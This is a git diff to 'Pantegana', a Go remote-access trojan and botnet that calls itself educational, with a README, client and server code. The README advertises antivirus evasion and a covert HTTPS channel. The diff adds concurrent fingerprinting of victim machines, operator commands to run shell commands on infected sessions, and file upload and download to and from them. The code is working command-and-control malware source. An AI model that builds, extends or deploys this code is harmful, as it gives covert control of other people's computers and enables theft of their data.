diff --git a/README.md b/README.md
index 0b31e81..61a3fbc 100644
--- a/README.md
+++ b/README.md
@@ -1,9 +1,18 @@
-# Pantegana - a RAT/Botnet coded in Go
-FOR EDUCATIONAL AND RESEARCH USE ONLY
+# Pantegana - A Botnet RAT Made With Go
+###
FOR EDUCATIONAL AND RESEARCH USE ONLY
+
+ ▄▀▀▄▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀▀█▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀█▄
+ █ █ █ ▐ ▄▀ ▀▄ █ █ █ █ █ █ ▐ ▐ ▄▀ ▐ █ ▐ ▄▀ ▀▄ █ █ █ █ ▐ ▄▀ ▀▄
+ ▐ █▀▀▀▀ █▄▄▄█ ▐ █ ▀█ ▐ █ █▄▄▄▄▄ █ ▀▄▄ █▄▄▄█ ▐ █ ▀█ █▄▄▄█
+ █ ▄▀ █ █ █ █ █ ▌ █ █ █ ▄▀ █ █ █ ▄▀ █
+ ▄▀ █ ▄▀ ▄▀ █ ▄▀ ▄▀▄▄▄▄ ▐▀▄▄▄▄▀ ▐ █ ▄▀ ▄▀ █ █ ▄▀
+ █ ▐ ▐ █ ▐ █ █ ▐ ▐ ▐ ▐ █ ▐ ▐ ▐
+ ▐ ▐ ▐ ▐ ▐
## Features:
+ - Pretty and clean interactive shell (using grumble)
- HTTPS covert channel for communications
- - Undetected by AVs by nature
+ - Undetected by AVs (behavioral AVs might detect it if its not running on port 443)
- Direct command execution (not using bash or sh)
- Multiple sessions handling
- File Upload/Download
@@ -15,10 +24,14 @@ FOR EDUCATIONAL AND RESEARCH USE ONLY
- bash/cmd/psh shell dropping
- TOR routing?
-## Usage:
+## Building:
To build the program you will need `openssl` and `go-bindata`.
Use: `go get -u github.com/go-bindata/go-bindata/...`
+
When running `make` you will need to specify any external IP or domain to include in the SSL certificate.
+***This is done to prevent people stealing your binary and using it for malicious reasons.***
Example: `make IP=1.1.1.1 DOMAIN=example.com`.
If you do not want to specify an IP or a domain, use `127.0.0.1` and `localhost` respectively.
-Example: `make IP=127.0.0.1 DOMAIN=localhost`
+Example: `make IP=127.0.0.1 DOMAIN=localhost`
+
+Check Makefile for different build/running options
diff --git a/client/client.go b/client/client.go
index 446a192..e030174 100644
--- a/client/client.go
+++ b/client/client.go
@@ -124,10 +124,10 @@ func RunClient(host string, port int) {
log.SetOutput(ioutil.Discard)
}
- client := ClientSetup()
-
RunFingerprinter()
+ client := ClientSetup()
+
for {
cmd, hoststr := RequestCommand(client, host, port)
Middleware(client, cmd, hoststr)
diff --git a/client/fingerprinter.go b/client/fingerprinter.go
index 3aeb080..56754be 100644
--- a/client/fingerprinter.go
+++ b/client/fingerprinter.go
@@ -6,6 +6,7 @@ import (
"os/exec"
"runtime"
"strings"
+ "sync"
)
type SysInfo struct {
@@ -30,32 +31,44 @@ func GetCurrentSysInfo() SysInfo {
return clientSysInfo
}
-func (i *SysInfo) fingerprintLinux() {
- out, err := exec.Command("uname", "-rn").Output()
- if err == nil {
- split := strings.SplitN(trim(out), " ", 2)
- i.Name = split[0]
- i.Kernel = split[1]
- }
- out, err = exec.Command("lsb_release", "-d").Output()
- if err == nil {
- i.Distro = strings.SplitN(trim(out), "\t", 2)[1]
- }
- out, err = exec.Command("whoami").Output()
- if err == nil {
- i.User.Name = trim(out)
- }
- out, err = exec.Command("id", "-u").Output()
- if err == nil {
- i.User.Id = trim(out)
- }
- out, err = exec.Command("groups").Output()
- if err == nil {
- i.User.Groups = trim(out)
- }
-
- dbg, _ := json.MarshalIndent(i, "", " ")
- log.Println(string(dbg))
+func (i *SysInfo) fingerprintLinux(wg *sync.WaitGroup) {
+ go func() {
+ out, err := exec.Command("uname", "-rn").Output()
+ if err == nil {
+ split := strings.SplitN(trim(out), " ", 2)
+ i.Name = split[0]
+ i.Kernel = split[1]
+ }
+ defer wg.Done()
+ }()
+ go func() {
+ out, err := exec.Command("lsb_release", "-d").Output()
+ if err == nil {
+ i.Distro = strings.SplitN(trim(out), "\t", 2)[1]
+ }
+ defer wg.Done()
+ }()
+ go func() {
+ out, err := exec.Command("whoami").Output()
+ if err == nil {
+ i.User.Name = trim(out)
+ }
+ defer wg.Done()
+ }()
+ go func() {
+ out, err := exec.Command("id", "-u").Output()
+ if err == nil {
+ i.User.Id = trim(out)
+ }
+ defer wg.Done()
+ }()
+ go func() {
+ out, err := exec.Command("groups").Output()
+ if err == nil {
+ i.User.Groups = trim(out)
+ }
+ defer wg.Done()
+ }()
}
// TODO: fingerprintWindows
@@ -73,6 +86,8 @@ func RunFingerprinter() {
Arch: runtime.GOARCH,
}
+ var wg sync.WaitGroup
+
switch runtime.GOOS {
case "windows":
go clientSysInfo.fingerprintWindows()
@@ -80,8 +95,15 @@ func RunFingerprinter() {
go clientSysInfo.fingerprintOsx()
default:
// probably some kind of bsd so...
- go clientSysInfo.fingerprintLinux()
+ wg.Add(5) // Set here the number of commands to execute
+ go clientSysInfo.fingerprintLinux(&wg)
}
+
+ // Wait for commands to finish
+ wg.Wait()
+
+ dbg, _ := json.MarshalIndent(clientSysInfo, "", " ")
+ log.Println(string(dbg))
}
// Helper func to trim '/n' and convert byte arr to string
diff --git a/go.mod b/go.mod
index c1274d1..a1c4c51 100644
--- a/go.mod
+++ b/go.mod
@@ -4,9 +4,8 @@ go 1.16
require (
github.com/desertbit/grumble v1.1.1
- github.com/fatih/color v1.12.0 // indirect
+ github.com/fatih/color v1.12.0
github.com/hashicorp/go-multierror v1.1.1 // indirect
- github.com/matoous/go-nanoid/v2 v2.0.0
github.com/mattn/go-isatty v0.0.13 // indirect
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
)
diff --git a/go.sum b/go.sum
index 7320d47..18f5754 100644
--- a/go.sum
+++ b/go.sum
@@ -35,10 +35,6 @@ github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
-github.com/matoous/go-nanoid v1.5.0 h1:VRorl6uCngneC4oUQqOYtO3S0H5QKFtKuKycFG3euek=
-github.com/matoous/go-nanoid v1.5.0/go.mod h1:zyD2a71IubI24efhpvkJz+ZwfwagzgSO6UNiFsZKN7U=
-github.com/matoous/go-nanoid/v2 v2.0.0 h1:d19kur2QuLeHmJBkvYkFdhFBzLoo1XVm2GgTpL+9Tj0=
-github.com/matoous/go-nanoid/v2 v2.0.0/go.mod h1:FtS4aGPVfEkxKxhdWPAspZpZSh1cOjtM7Ej/So3hR0g=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
diff --git a/server/cli.go b/server/cli.go
index f48389c..1fccf1b 100644
--- a/server/cli.go
+++ b/server/cli.go
@@ -1,29 +1,49 @@
package server
import (
- "errors"
+ "fmt"
+ "strings"
"github.com/desertbit/grumble"
+ "github.com/fatih/color"
)
var cli = grumble.New(&grumble.Config{
- Name: "pantegana",
- Description: "A RAT/Botnet written in Go",
+ Name: "pantegana",
+ Description: "A RAT/Botnet written in Go",
+ HistoryFile: "/tmp/pantegana.hist",
+ Prompt: "[pantegana]$ ",
+ PromptColor: color.New(color.FgHiCyan, color.Bold),
+ HelpHeadlineColor: color.New(color.FgCyan),
+ HelpHeadlineUnderline: true,
+ HelpSubCommands: true,
Flags: func(f *grumble.Flags) {
- f.String("d", "directory", "DEFAULT", "set an alternative directory path")
f.Bool("v", "verbose", false, "enable verbose mode")
},
})
func init() {
+ cli.SetPrintASCIILogo(func(a *grumble.App) {
+ a.Println()
+ a.Println("▄▀▀▄▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀▀█▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀█▄ ")
+ a.Println("█ █ █ ▐ ▄▀ ▀▄ █ █ █ █ █ █ ▐ ▐ ▄▀ ▐ █ ▐ ▄▀ ▀▄ █ █ █ █ ▐ ▄▀ ▀▄ ")
+ a.Println("▐ █▀▀▀▀ █▄▄▄█ ▐ █ ▀█ ▐ █ █▄▄▄▄▄ █ ▀▄▄ █▄▄▄█ ▐ █ ▀█ █▄▄▄█ ")
+ a.Println(" █ ▄▀ █ █ █ █ █ ▌ █ █ █ ▄▀ █ █ █ ▄▀ █ ")
+ a.Println(" ▄▀ █ ▄▀ ▄▀ █ ▄▀ ▄▀▄▄▄▄ ▐▀▄▄▄▄▀ ▐ █ ▄▀ ▄▀ █ █ ▄▀ ")
+ a.Println("█ ▐ ▐ █ ▐ █ █ ▐ ▐ ▐ ▐ █ ▐ ▐ ▐ ")
+ a.Println("▐ ▐ ▐ ▐ ▐ ")
+ a.Println()
+ })
+
cli.AddCommand(&grumble.Command{
- Name: "listen",
- Help: "runs the listener",
+ Name: "listen",
+ Help: "runs the listener",
+ Aliases: []string{"l"},
Flags: func(f *grumble.Flags) {
- f.Int("p", "port", 1337, "The port to listen (443 needs root but reccomend)")
- f.BoolL("notls", false, "Set to remove encryption. Use mostly in testing.")
+ f.Int("p", "port", 1337, "the port to listen (443 needs root but reccomend)")
+ f.BoolL("notls", false, "set to remove encryption. Use mostly in testing.")
},
Args: func(a *grumble.Args) {
@@ -37,37 +57,43 @@ func init() {
})
cli.AddCommand(&grumble.Command{
- Name: "exec",
- Help: "executes a command to a session",
+ Name: "exec",
+ Help: "executes a command to a session",
+ Aliases: []string{"e"},
Flags: func(f *grumble.Flags) {
- f.Int("s", "session", -1, " * The sesssion to execute the command to.")
+ f.Int("s", "session", -1, " * the sesssion to execute the command to.")
},
Args: func(a *grumble.Args) {
- a.String("cmd", "command to execute")
+ a.StringList("cmd", "command to execute")
},
Run: func(c *grumble.Context) error {
if c.Flags.Int("session") == -1 {
- return errors.New("Please define a session with -s")
+ return ErrUndefinedSession
+ }
+ sessionId := c.Flags.Int("session")
+ sessionObj, err := GetSession(sessionId)
+ if err != nil {
+ return err
}
- session := c.Flags.Int("session")
- go func() {
- err := Sessions[session].WriteToCmd(c.Args.String("cmd"))
+ go func(cmd string) {
+ err = sessionObj.WriteToCmd(cmd)
if err != nil {
cli.PrintError(err)
}
- }()
+ }(strings.Join(c.Args.StringList("cmd"), " "))
return nil
},
})
cli.AddCommand(&grumble.Command{
- Name: "close",
- Help: "closes the listener",
+ Name: "close",
+ Help: "closes the listener",
+ Aliases: []string{"c"},
Run: func(c *grumble.Context) error {
err := CloseServer()
@@ -80,14 +106,97 @@ func init() {
})
cli.AddCommand(&grumble.Command{
- Name: "sessions",
- Help: "Lists the sessions",
+ Name: "sessions",
+ Help: "lists currently open sessions",
+ Aliases: []string{"s"},
- // TODO: make this fancy
Run: func(c *grumble.Context) error {
PrettyPrintSessions()
return nil
},
})
+ cli.AddCommand(&grumble.Command{
+ Name: "upload",
+ Help: "transfer a file from a session to the server (ends up in uploads dir)",
+ Aliases: []string{"up"},
+
+ Args: func(a *grumble.Args) {
+ a.String("source", "the name of the file on the session's system")
+ a.String("destname", "the name that the file will have on the server's uploads dir", grumble.Default(""))
+ },
+
+ Flags: func(f *grumble.Flags) {
+ f.Int("s", "session", -1, " * the sesssion to execute the command to.")
+ },
+
+ Run: func(c *grumble.Context) error {
+ if c.Flags.Int("session") == -1 {
+ return ErrUndefinedSession
+ }
+ sessionId := c.Flags.Int("session")
+ sessionObj, err := GetSession(sessionId)
+ if err != nil {
+ return err
+ }
+
+ source := c.Args.String("source")
+ dest := c.Args.String("destname")
+ if dest == "" {
+ dest = source
+ }
+
+ go func() {
+ err = sessionObj.WriteToCmd(fmt.Sprintf("__upload__ %s %s", source, dest))
+ if err != nil {
+ cli.PrintError(err)
+ }
+ }()
+
+ return nil
+ },
+ })
+
+ cli.Stdout()
+
+ cli.AddCommand(&grumble.Command{
+ Name: "download",
+ Help: "transfer a file from the server to a session (ends up in download dir)",
+ Aliases: []string{"dl"},
+
+ Args: func(a *grumble.Args) {
+ a.String("source", "the name of the file on the servers's system")
+ a.String("destname", "the name that the file will have on the session's uploads dir", grumble.Default(""))
+ },
+
+ Flags: func(f *grumble.Flags) {
+ f.Int("s", "session", -1, " * the sesssion to execute the command to.")
+ },
+
+ Run: func(c *grumble.Context) error {
+ if c.Flags.Int("session") == -1 {
+ return ErrUndefinedSession
+ }
+ sessionId := c.Flags.Int("session")
+ sessionObj, err := GetSession(sessionId)
+ if err != nil {
+ return err
+ }
+
+ source := c.Args.String("source")
+ dest := c.Args.String("destname")
+ if dest == "" {
+ dest = source
+ }
+
+ go func() {
+ err = sessionObj.WriteToCmd(fmt.Sprintf("__download__ %s %s", source, dest))
+ if err != nil {
+ cli.PrintError(err)
+ }
+ }()
+
+ return nil
+ },
+ })
}
diff --git a/server/handler.go b/server/handler.go
index e7a312f..aac90e7 100644
--- a/server/handler.go
+++ b/server/handler.go
@@ -20,7 +20,7 @@ func GetCmd(w http.ResponseWriter, req *http.Request) {
index, isNew := CreateSession(token)
- session := Sessions[index]
+ sessionObj, _ := GetSession(index)
if isNew {
cli.Printf("[+] New connection with session id: %d\n", index)
@@ -28,20 +28,27 @@ func GetCmd(w http.ResponseWriter, req *http.Request) {
fmt.Fprint(w, "__sysinfo__")
} else {
cli.Printf("[+] Got request for cmd from session id: %d\n", index)
+
+ // Set session as open
+ sessionObj.Open = true
+
var command string
for {
select {
- case str := <-session.Cmd:
+ case str := <-sessionObj.Cmd:
command = str
- fmt.Println(command)
+ fmt.Fprintf(w, command)
+ case <-req.Context().Done():
+ cli.Printf("[-] Connection closed from session: %d\n", index)
+ sessionObj.Open = false
+ w.WriteHeader(444) // 444 - Connection Closed Without Response
}
break
}
- fmt.Fprintf(w, command)
if command == "quit" {
- Sessions[index].Open = false
+ sessionObj.Open = false
cli.Printf("[+] Session %d quit.\n", index)
}
}
diff --git a/server/secondaryhandlers.go b/server/secondaryhandlers.go
index b59da25..e2af7ff 100644
--- a/server/secondaryhandlers.go
+++ b/server/secondaryhandlers.go
@@ -88,13 +88,20 @@ func FileDownload(w http.ResponseWriter, req *http.Request) {
func GetSysinfo(w http.ResponseWriter, req *http.Request) {
if req.Method == "POST" {
index := FindSessionIndexByToken(req.Header.Get("token"))
+ if index == -1 {
+ cli.Printf("[-] Error while getting session from token: %s\n", ErrUnrecognizedSessionToken)
+ return
+ }
cli.Println("[+] Got system information from session: ", index)
body, _ := ioutil.ReadAll(req.Body)
defer req.Body.Close()
- err := json.Unmarshal(body, &Sessions[index].SysInfo)
+ sessionObj, _ := GetSession(index)
+
+ err := json.Unmarshal(body, &sessionObj.SysInfo)
if err != nil {
cli.Printf("[-] Error while parsing the JSON system information: %s\n", err)
+ return
}
w.Header().Set("Connection", "close")
diff --git a/server/session.go b/server/session.go
index ee573bb..da4643a 100644
--- a/server/session.go
+++ b/server/session.go
@@ -16,15 +16,18 @@ type Session struct {
SysInfo client.SysInfo
}
-var Sessions []Session
+var sessions []Session
// errors
-var ErrSessionIsNotOpen = errors.New("The requested session is not open.")
+var ErrSessionIsClosed = errors.New("The requested session is closed.")
+var ErrSessionDoesNotExist = errors.New("The requested session does not exist.")
+var ErrUnrecognizedSessionToken = errors.New("The requested session token does not corelate with any current sessions.")
+var ErrUndefinedSession = errors.New("Please define a session with -s.")
func CreateSession(token string) (int, bool) {
// initialize sessions array
- if Sessions == nil {
- Sessions = make([]Session, 0)
+ if sessions == nil {
+ sessions = make([]Session, 0)
}
index := FindSessionIndexByToken(token)
@@ -35,25 +38,31 @@ func CreateSession(token string) (int, bool) {
session := Session{
Token: token,
Cmd: make(chan string),
- Open: true,
}
- Sessions = append(Sessions, session)
+ sessions = append(sessions, session)
- return len(Sessions) - 1, true
+ return len(sessions) - 1, true
+}
+
+func GetSession(idx int) (*Session, error) {
+ if idx > len(sessions) || idx < 0 {
+ return &Session{}, ErrSessionDoesNotExist
+ }
+ return &sessions[idx], nil
}
func (s *Session) WriteToCmd(command string) error {
if s.Open == false {
- return ErrSessionIsNotOpen
+ return ErrSessionIsClosed
}
s.Cmd <- command
return nil
}
func FindSessionIndexByToken(token string) int {
- for i := 0; i < len(Sessions); i++ {
- if Sessions[i].Token == token {
+ for i := 0; i < len(sessions); i++ {
+ if sessions[i].Token == token {
return i
}
}
@@ -64,7 +73,7 @@ func PrettyPrintSessions() {
header := "|| Sessions ||"
spacer := strings.Repeat("=", len(header))
output := fmt.Sprintf("%s\n%s\n%s\n", spacer, header, spacer)
- for i, session := range Sessions {
+ for i, session := range sessions {
if session.Open {
fragment := fmt.Sprintf("|| ID: %d - Token: %s", i, session.Token)
sessionInfo := fmt.Sprintf("%s%s||\n%s\n", fragment, strings.Repeat(" ", len(header)-len(fragment)-2), spacer)